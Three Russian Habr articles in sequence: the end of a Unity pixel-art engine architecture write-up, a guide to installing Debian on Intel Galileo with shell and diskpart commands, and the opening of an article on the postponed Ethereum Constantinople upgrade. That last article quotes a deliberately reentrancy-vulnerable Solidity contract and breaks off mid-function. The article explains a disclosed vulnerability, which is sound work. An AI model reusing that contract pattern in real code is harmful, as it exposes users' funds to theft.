Правда, иногда придется делать мешанину из спрайтов: если мы хотим получить большой и сложный объект, как поверхность земли с ямами и пещерами. Вместо этого будем генерировать такие элементы на лету, в редакторе (как в *PolygonCollider2D*). Рендерим полигоны через стандартный *MeshRenderer* с двумя материалами (для разделения контура и заливки используются submeshes).
> Не стану утверждать, что написать аккуратный редактор для полигонов просто. Но вся информация доступна в интернете, а в AssetStore есть готовые решения.
*Редактор, неотличимый от редактора в PolygonCollider2D.*
Для максимальной гибкости классы для полигонов выстроены так:
* **Core.Shapes.Shape** — основной класс, содержащий точки полигона и нужную математику. Не *MonoBehaviour*;
* **Core.Shapes.EditableShape** — наследник *MonoBehaviour* для хранения и редактирования *Shape*;
* **Core.Shapes.ShapeRenderer** — отображает полигон из *EditableShape* с помощью *MeshRenderer*;
* **Core.Shapes.ShapeCollider2D** — создает физический полигон из *EditableShape* с помощью *PolygonCollider2D*.
**Очередной хинт**
Почему-то я очень долго упускал из виду атрибут [RequireComponent](https://docs.unity3d.com/ScriptReference/RequireComponent.html). Это очень удобный механизм для автоматического добавления нужных компонентов. Например, *ShapeRenderer* требует *EditableShape* и *MeshRenderer*, при добавлении его в *GameObject* автоматически создаются все зависимости.
Pixel perfect и целочисленная геометрия
---------------------------------------
Используя крупные пиксели мы убиваем целую стаю зайцев:
* Можем рендерить небольшое изображение (пиксель в пиксель) и растягивать его под экран;
* Можем использовать сложные постэффекты (небольшие текстуры увеличат производительность);
* Можем работать с целочисленной арифметикой (быстрее и приятнее);
* Можем маскировать недоработки или баги :)
Правда за этих зайцев придется заплатить, реализовав поддержку "целочисленной геометрии", а именно:
* Базовые вещи, такие как:
+ **IntVector2** — по сути, копия *UnityEngine.Vector2*, но с целочисленными координатами. Иногда нужно конвертировать данные из обычного *UnityEngine.Vector2*, с учётом масштаба или без (в одном юните 32 пикселя, только не нужно использовать магические числа!), поэтому добавляем следующие функции:
```
public Vector2 ToPixels();
public Vector2 ToUnits();
public static IntVector2 FromPixels(Vector2 v);
public static IntVector2 FromUnits(Vector2 v);
public static IntVector2 FromUnitsRound(Vector2 v);
public static IntVector2 FromUnitsCeil(Vector2 v);
```
+ **IntRect.** Ничем не отличается по функциональности от *UnityEngine.Rect*. Доступен метод *LineCollision* для поиска пересечений с отрезками прямых (алгоритм [Лианга-Барски](https://gist.github.com/ChickenProp/3194723));
+ **IntLine.** Отрезок прямой с целочисленным началом и концом. Используется в некоторых алгоритмах;
+ **IntMatrix.** Матрица для двумерных преобразований, где повороты кратны 90°, а смещение и масштаб — целочисленны;
+ **IntAngle.** Небольшой класс для округления градусов до 90°, выбора направления. Представляете, какая там красивая таблица косинусов?
+ **Poser.** Элемент, позиционирующий *GameObject* кратно игровому "пикселю", запрещающий повороты, не кратные прямому углу и масштабирование на дробное значение (с учетом того, что в элементе может быть *SpriteRender* и тогда придется учитывать pivot спрайта). Этот класс работает в редакторе благодаря атрибуту [[ExecuteInEditMode]](https://docs.unity3d.com/ScriptReference/ExecuteInEditMode.html). Важный момент: при изменении состояния (позиции, поворота, масштаба, спрайта и т.д.) *Poser* уведомляет об этом класс *PoserListener*, который умеет отслеживать изменения в редакторе всех элементов *Poser* с определенным тегом. Это понадобится в дальнейшем;
+ **CameraManager.** Контроллер камер, который умеет выравнивать текущую камеру и позиционировать камеры для постэффектов.
**Как обычно, немного разных штук**
1. Добавляйте для геометрии отрисовку гизмо. Например, в *IntVector2*, *IntRect* и *IntLine* добавлен метод *OnDrawGizmos*. Это очень полезно при отладке.
2. Выравнивать камеры — ужасно. Я позиционировал их по нижнему левому углу, в то время как координаты камеры — это координаты её центра. А при изменении renderTarget камеры углы, очевидно, уезжают, так как меняется размеры экрана в пикселях. Так что важно не только *как* выравнивать камеры, но и *когда*.
Старая структура проекта
------------------------
Помните, в прошлой статье был раздел про построение теней? И больша́я часть была посвящена объединению спрайтов в некие группы для оптимизации финального меша? Так вот, забудьте, это все неправда. :)
Изначально все модули писались независимо, в режиме прототипирования. И для каждого придумывались свои алгоритмы, структуры и типы данных. В результате возникло две крупных проблемы (помимо ~~legacy-кода~~ говнокода, будем честны):
1. Дублирование кода. Одних только классов для целочисленных координат было штуки 3-4 и все — вложенные в другие классы (обычная точка, точка с нормалью, точка с какой-то метаинформацией).
2. Не оптимальные решения. Каждому модулю были нужны одни и те же данные о спрайтах, но чуть чуть-чуть по-разному обработанные. И эти данные копировались туда-сюда со всякими преобразованиями, что не добавляло ни скорости, ни изящества кода.
Вот такие модули требуют какой-то информации о "твердых" спрайтах за́мков:
* Тени;
* Ветер;
* Рассеянное освещение;
* Трава;
* Частицы;
* Физика;
* Вода;
* Прочее (нити паутины и цепи светильников).
**А структуры использовались такие.**
* **UnityEngine.Sprite.** Графические спрайты. База для всего остального;
* **Contour.** Контур объекта (или группы объектов). Представляет собой массив вертикальных и горизонтальных линий с нормалями;
+ *UnityEngine.Sprite[] → Contour*: преобразуем каждый спрайт в контуры, для получения списка внешних сторон.
* **Rects.** Набор прямоугольников;
+ *UnityEngine.Sprite[] → Rects*: заполняем спрайт прямоугольниками, чтобы потом использовать их для объединения всех объектов в один.
* **Shape.** Класс, содержащий Contour и Rects;
* **Shapes.** Набор Shape и aabb для быстрого поиска;
* **Batch.** Набор Shape и функции доступа к общему Contour;
+ Для построения мешей;
+ Для проверки точки на твердость;
+ Для рейкаста.
* **WindGrid.** Кеш коллизий для ветра из *Batch → Shapes*;
* **QuadTree.** Базовая (и косячная) реализация дерева квадрантов для быстрого поиска пустых объёмов;
* **WaterVolumes.** Прямоугольники воды из *Batch → Contour*.
Все это безумие используется вот так:
* **Тени.** *Batch → общий Contour:* для построения теневого меша;
* **Ветер.** *WindGrid → Batch → Shapes:* для расчета ветра (поиск коллизий);
* **Рассеянное освещение.**
+ *Batch → Shapes:*
+ Для raycast'а (поиск прямой освещённости);
+ Для testPoint'а (поиск твердых объектов).
+ *QuadTree → Batch → Shapes*:
+ Для поиска пустых объемов.
* **Трава.**
+ *Batch → Shapes:* метод *CircleQuery* для поиска ближайших поверхностей;
+ *Batch → общий Contour:* для посадки травы;
* **Частицы.** *Batch → Shapes:* метод *PopPoint* (нахождение ближайшего открытого пространства) для выталкивания частиц из стен;
* **Физика.** *Batch → общий Contour:* для построения коллайдеров;
* **Вода.** *WaterVolumes → Batch → общий контур:* поиск мест, где может быть создана вода;
* **Прочее.** *Batch → Shapes:* raycast для поиска точки крепления светильников и паутины.
Region tree
-----------
После некоторого анализа и длительного гугления находим решение — Region tree, иногда называемый Volume tree.
Разбиваем двумерное пространство на 4 части до тех пор, пока каждый лист не окажется либо полностью пустым, либо полностью заполненным. Выставляем листу бит заполненности (или любым другим способом отличаем пустые узлы от заполненных).
Возможности, которые дает это дерево, покрывают все наши потребности:
* *Построение дерева.* Можно заполнять дерево, указывая твердые точки, прямоугольники или даже другие деревья с неким смещением. Поэтому для спрайтов предрасчитываются собственные Region tree, а затем, при добавлении на сцену, строится общее дерево.
* *Проверка твердости точки.* Рекурсивно спускаемся по дереву, пока у узла есть потомки (в моей версии дерева узел пустой, если Node = null, полный — если Node.children == null, в противном случае в Node.children — массив потомков);
* *Raycast*. Рекурсивно проверяем пересечения луча с квадратами узлов.
* *Поиск кратчайшего пути до пустого пространства*. Находим лист в заданной точке, поднимаемся по дереву вверх, проверяя узлы соседей (если узел пустой, сразу считаем расстояние до него, если есть потомки — спускаемся рекурсивно вниз и снова ищем ближайший пустой).
* *Поиск отрезков, лежащих на границе*. Тут сложнее, если кратко — получаем все заполненные квадраты из дерева, убираем стороны, принадлежащие нескольких квадратам, оптимизируем результат.
Визуально это выглядит так (ура, картинки!):
*Визуальная часть. Стены из спрайтов, земля — полигоны.*
*Предрасчитанный region tree.*
*Предрасчитанные поверхности.*
Менеджеры
---------
Как оказалось, эта дерево квадрантов реализует почти все возможности, которые нужны модулям. Теперь нужно связать эти модули друг с другом.
**Минутка боли**
В "прототипной" версии все контроллеры/менеджеры сами реализовывали соответствующий функционал (расчет освещения, обработку физики частиц и т.д) и наследовались от *MonoBehaviour*. Возникало несколько проблем: сложный и разросшийся код, сильная зависимость менеджеров друг от друга, отсутствие какого-то общего потока данных между контроллерами.
Например, когда в редакторе я передвигал какой-то элемент, менеджеры не подцепляли эти изменения автоматически. Приходилось сначала тыкнуть галку в менеджере дерева, затем в менеджере света, затем в менеджере воды и т.д. И всё ради того, чтобы посмотреть, хорошо ли выглядит новый за́мок. Так себе, правда?
Во-первых, по максимуму избавимся от *MonoBehaviour*. Все объекты по возможности представляются обычными с# классами.
Во-вторых, разнесем код по разным пространствам имён, одно имя — один функционал.
И, в-третьих, для каждого функционала реализуем один *MonoBehaviour*-менеджер, который будет хранить нужные настройки, управлять генерацией контента и т.д.
*Менеджеры. Причёсанные и в галстуках.*
Итак, на сцене лежат контроллеры, у каждого одна сфера влияния, код аккуратно упакован в пространство имён *NewEngine.Core* (*Core.Geom*, *Core.Illumination*, *Core.Rendering* и т.д.). Двигаем спрайт в редакторе и… никакой реакции. Помните, выше был описан класс *PoserListener*? Он умеет слушать изменения позиции, спрайта, размера у объектов типа *Poser*. Все менеджеры, которые зависят соответствующих *GameObject*'ов наследуем от этого класса.
Теперь, когда мы двигаем кусок стены (c тегом "*foreground*") уведомляется *Core.Quad.QuadManager*, а когда меняем опорные точки для воды (тег "*waterLayer*") *Core.Water.WaterManager* сразу же узнает об изменениях.
Осталось связать контроллеры между собой, ведь вышеописанному *WaterManager* требуется знать, когда будет перестроено дерево квадрантов в *QuadManager*, а *ShadowMeshManager*'у важно подхватить изменения в SurfaceManager'е. Для этого воспользуемся очень удобным [UnityEvent](https://docs.unity3d.com/ScriptReference/Events.UnityEvent.html). Его единственный недостаток — по умолчанию, если мы создаём событие-generic с каким-нибудь своим аргументом, Unity3D не отображает его в редакторе. Это исправляется элементарно:
```
public class TreeManager : MonoBehaviour {
[System.Serializable]
public class UpdateTreeEvent : UnityEvent {
}
public UpdateTreeEvent onUpdateTree;
...
}
```
И теперь мы можем связывать менеджеры прямо в редакторе, не загрязняя код странными зависимостями:
*При необходимости зависимости выполняются и в редакторе.*
Постэффекты.
------------
Итак, все модули на старте генерируют необходимый контент, обновляют его, но рендерить не умеют. Время это исправить!
На самом деле, рендеринг в этом проекте сильно отличается от того, что показывают на youtube в роликах с говорящими названиями "Запилим свою мега-крутую игру на Unity3D из трёх боксов, одного спрайта и компонента RigidBody2D". На самом деле, просто отрисовать нужно только сами спрайты стен и фона. А вот свет, воду и прочее придется делать через постэффекты.
Что это означает? Что рендеринг элементов мы будем делать не на экран, а в буферы, затем с помощью различных шейдеров сводить эти всё одну картинку. И всего-то.
Эффектов получается немало. На данный момент это:
* *Рендеринг сцены.* Не совсем постэффект, просто отрисовка основной геометрии сцены.
* *Глобальное освещение.* Расчитывается один раз, на старте уровня;
* *Обычное освещение.* Включает в себя источники света, тени, каустику в воде;
* *Световые декали.* Небольшие спрайты, которые создают эффект люминесценции.
* *Постэффект сведения.* Объединяет результаты всех предыдущих постэффектов в одну картинку (например, применяет эффекты освещения к отрендеренной сцене).
* И, наконец, *рендеринг на экран.* Который просто выводит получившуюся текстуру с учётом pixel perfect и разницы в размерах у экрана и текстуры.
В общем случае постэффект — это некий скрипт, который умеет генерировать некую текстуру/текстуры и, возможно, дополнительные данные (например, параметры шейдеров). Иногда постэффект работает только с модулями, иногда ему приходится вызывать рендеринг сцены с определенными настройками камеры.
Важный момент: постэффекты могут зависеть друг от друга. Поэтому, во-первых, важно вызывать эффекты в правильном порядке, во-вторых, нужно уметь хранить и передавать эффектам разношерстные данные о друг друге.
Делаем базовый класс для эффекта. Примерно такой:
```
namespace NewEngine.Core.Render {
public abstract class PostEffect {
public int OrderId { get; set; } // Понадобится для упорядочивания эффектов.
public abstract void Apply(PipelineContext context); // Обработка эффекта. Исходные данные о других эффектах находятся в PipelineContext, результат сохраняется туда же.
public abstract void Clear(); // Удаление временных текстур. Получается быстрее, чем при GC, почему поясню позднее.
protected Camera CreateCamera(); // Некоторым постэффектам нужна внутренняя камера. Например, чтобы отрисовать источники света.
public List Cameras { get; }
}
}
```
И ещё делаем класс контекста, для связывания данных из постэффектов.
```
namespace NewEngine.Core.Render {
public class PipelineContext {
Dictionary;
Camera camera;
Geom.IntRect viewRect;
public PipelineContext(CameraManager cameraManager);
public void Set(Context value) where Context : PostEffectContext;
public Context Get() where Context : PostEffectContext;
public Camera Camera { get; }
public Geom.IntRect ViewRect { get; }
}
}
```
По сути, теперь в менеджере рендеринга нам нужно пройтись в правильном порядке по всем активным эффектам, вызывая у них *Apply* и собирая данные в *PipelineContext*. В результате у нас отрисуется красивый кадр. Эффекты попадают в менеджер через аналог *Poser*, который сообщает слушателю о добавлении/удалении эффектов со сцены. Осталось только правильно их сортировать.
И было бы круто сделать красивые атрибуты, которые добавлялись бы в постэффекты и автоматически определяли зависимости и порядок, как-то так:
```
[RequiredPostEffect(typeof(WaterPostEffect))]
[RequiredPostEffect(typeof(IlluminationPostEffect))]
public class MergerPostEffect : PostEffect {
}
```
> Но, по правде говоря, мне было лень это делать и я написал очередной PropertyDrawer:
*Просто перетаскиваем все постэффекты в общем списке. Список создается автоматически из эффектов на сцене в редакторе.*
**Новая порция хинтов**
* **Камеры.** Ещё одна стадия, которую проходят эффекты — выравнивание камер. Перед рендерингом все созданные камеры проходят этот этап;
* **Вызов постэффектов.** Постэффекты должны откуда-то вызываться. В Unity3D есть специальное место — метод [OnPostRender](https://docs.unity3d.com/ScriptReference/MonoBehaviour.OnPostRender.html);
* **GetTemporary.** Как выяснилось, создавать *RenderTexture* и хранить его в течении жизни постэффекта — плохая идея. Медленно, память не переиспользуется. Но если создавать текстуры через [RenderTexture.GetTemporary](https://docs.unity3d.com/ScriptReference/RenderTexture.GetTemporary.html), а после использования убирать через [RenderTexture.ReleaseTemporary](https://docs.unity3d.com/ScriptReference/RenderTexture.ReleaseTemporary.html), fps сильно увеличивается (особенно на мобильных девайсах). Unity3D не сразу удалят такие текстуры и переиспользует их по возможности. В ситуации, когда множество посэффектов отрисовываются на одинаковых по параметрам текстурах — идеальный вариант.
* **Утечка текстур.** Eсли постоянно создавать такие текстуры и забывать их удалять — есть шанс, что Unity3D начнёт падать (точнее, это увеличит шансы: Unity3D и так любит падать). В предыдущем видео был виден счетчик используемых текстур и волшебная кнопка "Show texture leaks", которая показывает количество созданных и не удаленных текстур с конкретными местами в коде, где произошло выделение памяти (с помощью *System.Diagnostics.StackTrace()*). Не забывайте оборачивать такие штуки в *#ifdef* и использовать только в редакторе.
* **Поддержка форматов текстур.** Обычно девайсы поддерживают не весь список *TextureFormat* и уж тем более, *RenderTextureFormat*. Методы [SystemInfo.SupportsTextureFormat](https://docs.unity3d.com/ScriptReference/SystemInfo.SupportsTextureFormat.html) и [SystemInfo.supportsRenderTextures](https://docs.unity3d.com/ScriptReference/SystemInfo-supportsRenderTextures.html) позволят прозрачно (при наличии своей обертки с кешем) подбирать максимально подходящий доступный формат.
* **Blit.** Иногда нужно применить некий шейдер к набору текстур и вывести в другую текстуру. Для этого даже не нужна *Camera* (мы не рендерим сцену). В Unity3D есть отличный метод [Graphics.Blit](https://docs.unity3d.com/ScriptReference/Graphics.Blit.html).
* **Ещё один Blit.** Правда \_Graphics.Blit\_не помогает, если нужно отрисовать результат шейдера на одной текстуре, а depth buffer и stencil buffer использовать из другой. Это можно обойти с помощью следующего ниже кода.
```
static public void Blit(RenderBuffer colorBuffer, RenderBuffer depthBuffer, Material material) {
Blit(colorBuffer, depthBuffer, material, material.passCount);
}
static public void Blit(RenderBuffer colorBuffer, RenderBuffer depthBuffer, Material material, int passCount) {
Graphics.SetRenderTarget(colorBuffer, depthBuffer);
GL.PushMatrix();
GL.LoadOrtho();
for (int i = 0; i < passCount; ++i) {
material.SetPass(i);
GL.Begin(GL.QUADS);
GL.TexCoord(new Vector3(0, 0, 0));
GL.Vertex3(0, 0, 0);
GL.TexCoord(new Vector3(0, 1, 0));
GL.Vertex3(0, 1, 0);
GL.TexCoord(new Vector3(1, 1, 0));
GL.Vertex3(1, 1, 0);
GL.TexCoord(new Vector3(1, 0, 0));
GL.Vertex3(1, 0, 0);
GL.End();
}
GL.PopMatrix();
Graphics.SetRenderTarget(null);
}
```
#### Мысли о будущем
Аккуратные алгоритмы обрабатывают данные и создают траву, воду и свет, контроллеры следят за их обновлением, постэффекты — за рендерингом. Аккуратно, быстро и достаточно чисто. И самое главное, готова основа для написания действительно интересных штук! Например, замерзающей воды или светящейся плесени в подземельях. И ведь это вполне геймплейные фишки:
> … лучники начали стрелять с противоположного берега. Маг взорвал файрбол над рекой, вызвав настоящее цунами. Но волна не добралась до берега — волшебник заморозил воду и спрятался от стрел за стеной льда.
> … десятый поток пламени так накалил каменный пол, что тот начал светится, как будущий меч в руках кузнеца. «Ни одна живая душа не сможет пройти за мной» — решил маг.
В следующей статье попробую рассказать о новых постэффектах и освещении, а пока, на закуску, немного видео и картинок. Спасибо за ваше внимание.
*Вот про такую воду я обещал вам рассказать :)*
**Баги и картинки**
*Зависимости эффектов до рефакторинга.*
*Ну почему все работают с радианами, а Unity3D с градусами? 0о*
*Небольшой, но красивый косяк в поиске поверхностей.*
*Это не ядерный реактор, просто некие рейкасты прорвались наружу.* | https://habr.com/ru/post/312046/ | null | ru | null |
# Настройка Intel Galileo с нуля и до установки полной версии Debian
На днях получил долгожданный Intel Galileo, заказывал у [SparkFun Electronics](https://www.sparkfun.com/products/12720), приехало довольно быстро и дешево. За несколько минут установил [Little Linux от Intel](https://communities.intel.com/docs/DOC-22226) подключился к нему по SSH и сразу стало грустно :) т.к. возможности у этого линукса крайне ограничены.
Поиски по интернету инструкций по установке полноценного Linux на Intel Galileo успехов не принесли. Потому решил написать статью по полной установке от начала до конца ~~и заодно получить инвайт на хабр~~.
Итак начнем, инструкция будет основываться на [этой](https://communities.intel.com/thread/48074?start=0&tstart=0).
##### **Введение**
Прежде чем приступать к установке Debian необходимо активировать сетевую карту на Intel Galileo, делается это с помощью скетча для Arduino (процедура подключения и настройки [тут](http://https://communities.intel.com/servlet/JiveServlet/previewBody/21838-102-7-25423/Galileo_GettingStarted_329685_005.pdf)):
```
#include
#include
// Enter a MAC address for your controller below.
// Newer Ethernet shields have a MAC address printed on a sticker on the shield
byte mac[] = {
0x98, 0x4F, 0xEE, 0x00, 0x66, 0x74 };
// Initialize the Ethernet client library
// with the IP address and port of the server
// that you want to connect to (port 80 is default for HTTP):
EthernetClient client;
void setup() {
// start the serial library:
Serial.begin(9600);
// start the Ethernet connection:
if (Ethernet.begin(mac) == 0) {
Serial.println("Failed to configure Ethernet using DHCP");
// no point in carrying on, so do nothing forevermore:
for(;;)
;
}
// print your local IP address:
Serial.println(Ethernet.localIP());
}
void loop() {
}
```
После чего в роутере необходимо создать привязку IP адреса к MAC-адресу Intel Galileo (указан наклейкой на LAN порту).
##### **Установка Debian**
**«Этап 1.Скачать Debian-7.3.0-i386-netinst.iso для виртуальной машины»**
«Примечание: Установить следующие показатели для виртуальной машины: 256 MB ОЗУ, 1 CPU, 3.8 GB HDD (разметить под ext3), отключить принтер, звуковую карту и CD-ROM (после установки).»
«Примечание: создать второй жесткий диск на 20 GB HDD и разметить его под ext3»
”Примечание: Работать будем из-под рута"
«Примечание: Из всех пакетов установим только SSH»
**«Этап 2. Тестируем SHH и обновляемся.»**
«Примечание: Еще раз, все делаем под пользователем root.»
```
apt-get update
apt-get upgrade
```
(лично у меня обновлений не было и команды выполнились за пару секунд)
**«Этап 3. Установка даты и времени»**
«Примечание: Можно пропустить, если в процессе установки уже выбрали»
```
date
apt-get install ntpdate
y
ntpdate pool.ntp.org
```
**«Этап 4. Монтируем второй жесткий диск (тот что на 20 Гб).»**
«Примечание: Довольно интересный этап, обратите внимание, если Debian был установлен на файловую систему ext3, то все что ниже также надо выполнять под этой файловой системой. Я это не учел и был много интересных и не понятных ошибок.»
```
fdisk –l
```
«Примечание: Второй жесткий диск в моем случае называется /dev/sdb1. Если диск не был монтирован в систему, то выполняем команды ниже „
```
fdisk /dev/sdb1
n
p
```
“Со всем соглашаемся и жмем Enter пока нас вновь не спросят (примерно 2-3 раза)»
```
w
mkfs.ext3 /dev/sdb1
y
cd /
mkdir sdb
mount -t ext3 /dev/sdb1 /sdb
e2label /dev/sdb1 /sdb
df -h
cd sdb
ls
```
«Примечание: тут и далее ls можете пропускать, если уверены, что копирование/монтирование прошло удачно.»
**«Этап 5. Скачиваем маленький линукс.»**
```
cd /sdb
wget http://downloadmirror.intel.com/23171/eng/LINUX_IMAGE_FOR_SD_Intel_Galileo_v0.7.5.7z
```
«Примечание: Если еще не установили архиватор.»
```
apt-get install p7zip
p7zip -d LINUX_IMAGE_FOR_SD_Intel_Galileo_v0.7.5.7z
cd /sdb/LINUX_IMAGE_FOR_SD_Intel_Galileo_v0.7.5
```
«Примечание: Посмотрим что извлекли.»
```
ls
cd /sdb
mv /sdb/LINUX_IMAGE_FOR_SD_Intel_Galileo_v0.7.5/image-full-clanton.ext3 /sdb/image-full-clanton_original.ext3
mkdir /sdb/image-full-clanton_original
mount -t ext3 /sdb/image-full-clanton_original.ext3 /sdb/image-full-clanton_original
cd /sdb/image-full-clanton_original
```
«Примечание: Посмотрим как все примонтровалось»
```
ls
```
**«Этап 6. Модифицируем Debian под Intel Galileo.»**
```
cd /media
mkdir /media/card
mkdir /media/cf
mkdir /media/hdd
mkdir /media/mmc1
mkdir /media/net
mkdir /media/ram
mkdir /media/realroot
mkdir /media/union
mkdir /sketch
cp -avr /sdb/image-full-clanton_original/lib/modules/3.8.7-yocto-standard/ /lib/modules/3.8.7-yocto-standard
cd /lib/modules/3.8.7-yocto-standard
```
«Примечание: Убедимся, что все скопировалось.»
```
ls
cp -avr /sdb/image-full-clanton_original/opt/cln/ /opt/cln
cd /opt/cln/galileo
```
«Примечание: И тут тоже все скопировалось.»
```
ls
```
**«Этап 7. Внесем изменения для инициализации Debian.»**
```
nano /etc/inittab
```
«Примечание: вставить в конец файла»
«s0:2345:respawn:/sbin/getty -L 115200 ttyS1 vt102»
**«Этап 8. Создаем образ нашего Линукса.»**
```
cd /sdb
```
«Примечание: Если будет не получаться попробуйте перезапустить Debian в безопасном режиме. Лично у меня именно тут начались ошибки из-за разницы между ext3 и ext4 — исправил форматированием первого жесткого под ext3 и начав сначала.»
```
fdisk -l
```
«Примечание: Обратите внимание на количество блоков в /dev/sda1 в моем случае это 3766272.»
```
dd if=/dev/sda1 of=/sdb/image-full-clanton.ext3 bs=3766272 conv=sync,noerror
mkdir /sdb/image-full-clanton
mount -t ext3 /sdb/image-full-clanton.ext3 /sdb/image-full-clanton
cd /sdb/image-full-clanton
```
«Примечание: Убедимся, что все скопировалось.»
```
ls
```
**«Этап 9. Последние штрихи в установке.»**
```
rm -rf /sdb/image-full-clanton/sys
rm -rf /sdb/image-full-clanton/proc
mkdir /sdb/image-full-clanton/sys
mkdir /sdb/image-full-clanton/proc
cd /sdb
umount -l /sdb/image-full-clanton
mv /sdb/image-full-clanton.ext3 /sdb/LINUX_IMAGE_FOR_SD_Intel_Galileo_v0.7.5/image-full-clanton.ext3
cd /sdb/LINUX_IMAGE_FOR_SD_Intel_Galileo_v0.7.5
```
«Примечание: Убедимся в наличии файла image-full-clanton.ext3»
```
ls
```
**«Этап 10. Подготовка MicroSD — [по инструкции](https://communities.intel.com/servlet/JiveServlet/previewBody/22204-102-1-25429/Galileo_GettingStarted_329685_005.pdf)»**
«От имени Администратора запустим из командной строки diskpart.exe.»
```
"Run diskpart.exe"
"DISKPART> list disk"
"DISKPART> select vol
```
; (где «a» это Ваша SD карта) (при двух физических жестких дисках это ТОМ 5. Но именно на этот этапе уже можно «покупать» и устанавливать Paragon Partition Manager >\_< жаль я этого не знал раньше. Пару раз удалив разметку жесткого диска я понял алгоритм определения карты памяти в кард ридере: Выбрать том 10, если не найдено выбрать 9… флешка это последний том с конца, который он обнаружит, у меня это было 5)"
```
"DISKPART> clean"
```
(Если после этой команды у Вас пропала часть ярлыков с рабочего стола, и пропал жесткий диск, то очистили Вы явно не карту памяти. Устраняется эта оплошность Paragon-ом, просто заново подключив буквы дисков и обновлением MBR)
```
"DISKPART> create part primary"
"DISKPART> active"
'DISKPART> format quick label="BOOTME"'
```
«Примечание: Может понадобиться полное форматирование карты памяти, но мне оказалось достаточно „быстрого“ форматирования.»
```
'DISKPART> format label="BOOTME"'
"DISKPART> exit"
```
**«Этап 11. Загрузим новый image-full-clanton.ext3 на SD карту»**
«Примечание: Если вы перезагружались то необходимо вновь монтировать разделы /sdb1.»
```
mount -t ext3 /dev/sdb1 /sdb
cd /sdb/LINUX_IMAGE_FOR_SD_Intel_Galileo_v0.7.5
```
«Активируем SD карту в виртуальной машине и выполним команду fdisk -l для понимания названия карты. В моем случае SD карта это dev/sdc1»:
```
mkdir mnt/usb
mount -t vfat -o iocharset=utf8,codepage=866 /dev/sdc1 /mnt/usb
```
“Сейчас необходимо скопировать содержимое папки «/sdb/LINUX\_IMAGE\_FOR\_SD\_Intel\_Galileo\_v0.7.5» на карту памяти, способов много, я предпочел установить файловый менеджер mc (apt-get install mc), запустить его и в нем выполнить копирование”
На этом этапе я поторопился и нагло вырвал кард ридер, после чего Intel Galileo отказался с нее стартовать. Скопировал с карты памяти на рабочий стол файл image-full-clanton.ext3 и повторил этап 10, затем разархивировал оригинальный LINUX\_IMAGE\_FOR\_SD\_Intel\_Galileo\_v0.7.5.7z на карту памяти, скопировал с заменой image-full-clanton.ext3 (с рабочего стола), добавил 2 файла из оригинального архива LITTLE\_LINUX\_IMAGE\_FirmwareUpdate\_Intel\_Galileo\_v0.7.5 и вставил карту памяти в Intel Galileo. Спустя секунд 20 я зашел на него по SSH.
Для начала установил «mc», установка заняла довольно продолжительный период по времени, но закончилась удачно. В дальнейшем планирую установить web-сервер, а пока выбираю наименее «тяжелые» системы для этого.
##### **Вместо вывода**
Таким образом я получил полноценный Debian на Intel Galileo, на котором исправно работают большинство команд, но некоторая часть не работает или работает нестабильно. В ближайших планах заставить Galileo считывать данные с датчиков и записывать результат в SQL таблицу с последующим выводом данных на сайт.
Как только дадут инвайт на [Windows 8 для Galileo](http://habrahabr.ru/company/intel/blog/218107/) возможно его функционал увеличится, в любом случае установлю и это будет интересно.
Напоминаю, что Intel Galileo не поддерживает SD карты объемом больше 32 Гб и крайне предпочтительно использовать карты памяти 10 класса.
[Страница загрузок на сайте Intel (на оригинальные архивы)](https://communities.intel.com/community/makers/drivers) | https://habr.com/ru/post/218993/ | null | ru | null |
# Обновление* Ethereum «Constantinople» откладывается из-за найденной в последний момент потенциальной уязвимости
*\*многие называют это событие «hard fork»-ом, но «Виталик» [против](https://twitter.com/VitalikButerin/status/1083450179347394560).*
Долгожданный релиз Constantinople должен был состояться [17 января, в 4AM UTC](https://www.coindesk.com/what-to-expect-when-ethereums-constantinople-hard-fork-happens), однако, в очередной раз жестоко обломав несметную армию разработчиков [countdown счетчиков](https://www.reddit.com/r/ethereum/comments/agcmiq/nethermind_constantinople_countdown_092_available/) этому не суждено будет сбыться.
За 30 часов до официального релиза, из-за найденной уязвимости, руководствуясь принципом «лучше перебдить, чем недобдить», апдейт был отложен на неопределенный срок.
Событием, поднявшим на уши все сообщество, стало опрометчивое предложение [EIP 1283](https://eips.ethereum.org/EIPS/eip-1283), удешевлеяющее выполнение инструкции SSTORE (sic!). Вообще одним из основных направлений апдейта было удешевление и ускорение выполнения особо тяжелых инструкций.
События 15 января развивались [следующим образом](https://blog.ethereum.org/2019/01/15/security-alert-ethereum-constantinople-postponement/) (время в PST):
* в 8 утра ChainSecurity публикует [описание уязвимости](https://medium.com/chainsecurity/constantinople-enables-new-reentrancy-attack-ace4088297d9);
* тут же, Martin Holst Swende (главный безопасник в Ethereum Foundation) будит всех ключевых разработчиков, напоминая что до апдейта осталось каких-то 37 часов, а у нас тут [вот](https://medium.com/chainsecurity/constantinople-enables-new-reentrancy-attack-ace4088297d9);
* до полудня происходят бурные дебаты в чатах и «голосом»;
* к обеду принято решение отменять апдейт.
Ситуацию усуглубило то, что время разворачивать корабль выбрано крайне неудачно: уже почти половина нод успели обновиться, а всех остальных методично и настойчиво пинали на протяжении последних недель. В итоге теперь обновившимся нодам нужно будет еще раз обновиться (либо вверх либо вниз… мда). А кто не успел и все проспал — те молодцы, им ничего делать не нужно.
Дальше все было предсказуемо — рынок отреагировал рухнувшим на 5% курсом эфира (хаха). Многие, конечно, повозмущались что мол, как это цена инструкции может влиять на секурность, че вы там наговнокодили и все такое… Но на самом деле ничего необычного, все как у всех.
О технических деталях уязвимости лучше почитать в оригинале статьи от [ChainSecurity](https://medium.com/chainsecurity/constantinople-enables-new-reentrancy-attack-ace4088297d9), разобраться там не сложно.
Кому лень нырять в код — суть в том, что до апдейта инструкция SSTORE стоила так дорого, что не было никакой возможности изменить «хранилище» (state) из других контрактов, после апдейта Constantinople инструкция подешевела (бы), и можно менять «хранилище» много раз, тем самым меняя логику уязвимого контракта.
Код уявзимого контракта (с моими комментариями):
```
pragma solidity ^0.5.0;
contract PaymentSharer {
mapping(uint => uint) splits;
mapping(uint => uint) deposits;
mapping(uint => address payable) first;
mapping(uint => address payable) second;
// здесь мы инициализируем данные парой адресов, которые в последствии будут делить депозит (некую сумму денег)
function init(uint id, address payable _first, address payable _second) public {
require(first[id] == address(0) && second[id] == address(0));
require(first[id] == address(0) && second[id] == address(0));
first[id] = _first;
second[id] = _second;
}
// кладем сумму на депозит, который в последствии будут делить участники
function deposit(uint id) public payable {
deposits[id] += msg.value;
}
// задаем в какой пропорции делить депозит
function updateSplit(uint id, uint split) public {
require(split <= 100);
splits[id] = split;
}
// непосредственно, дележ (в соответсвтии с установленной пропорцией split)
function splitFunds(uint id) public {
// Here would be:
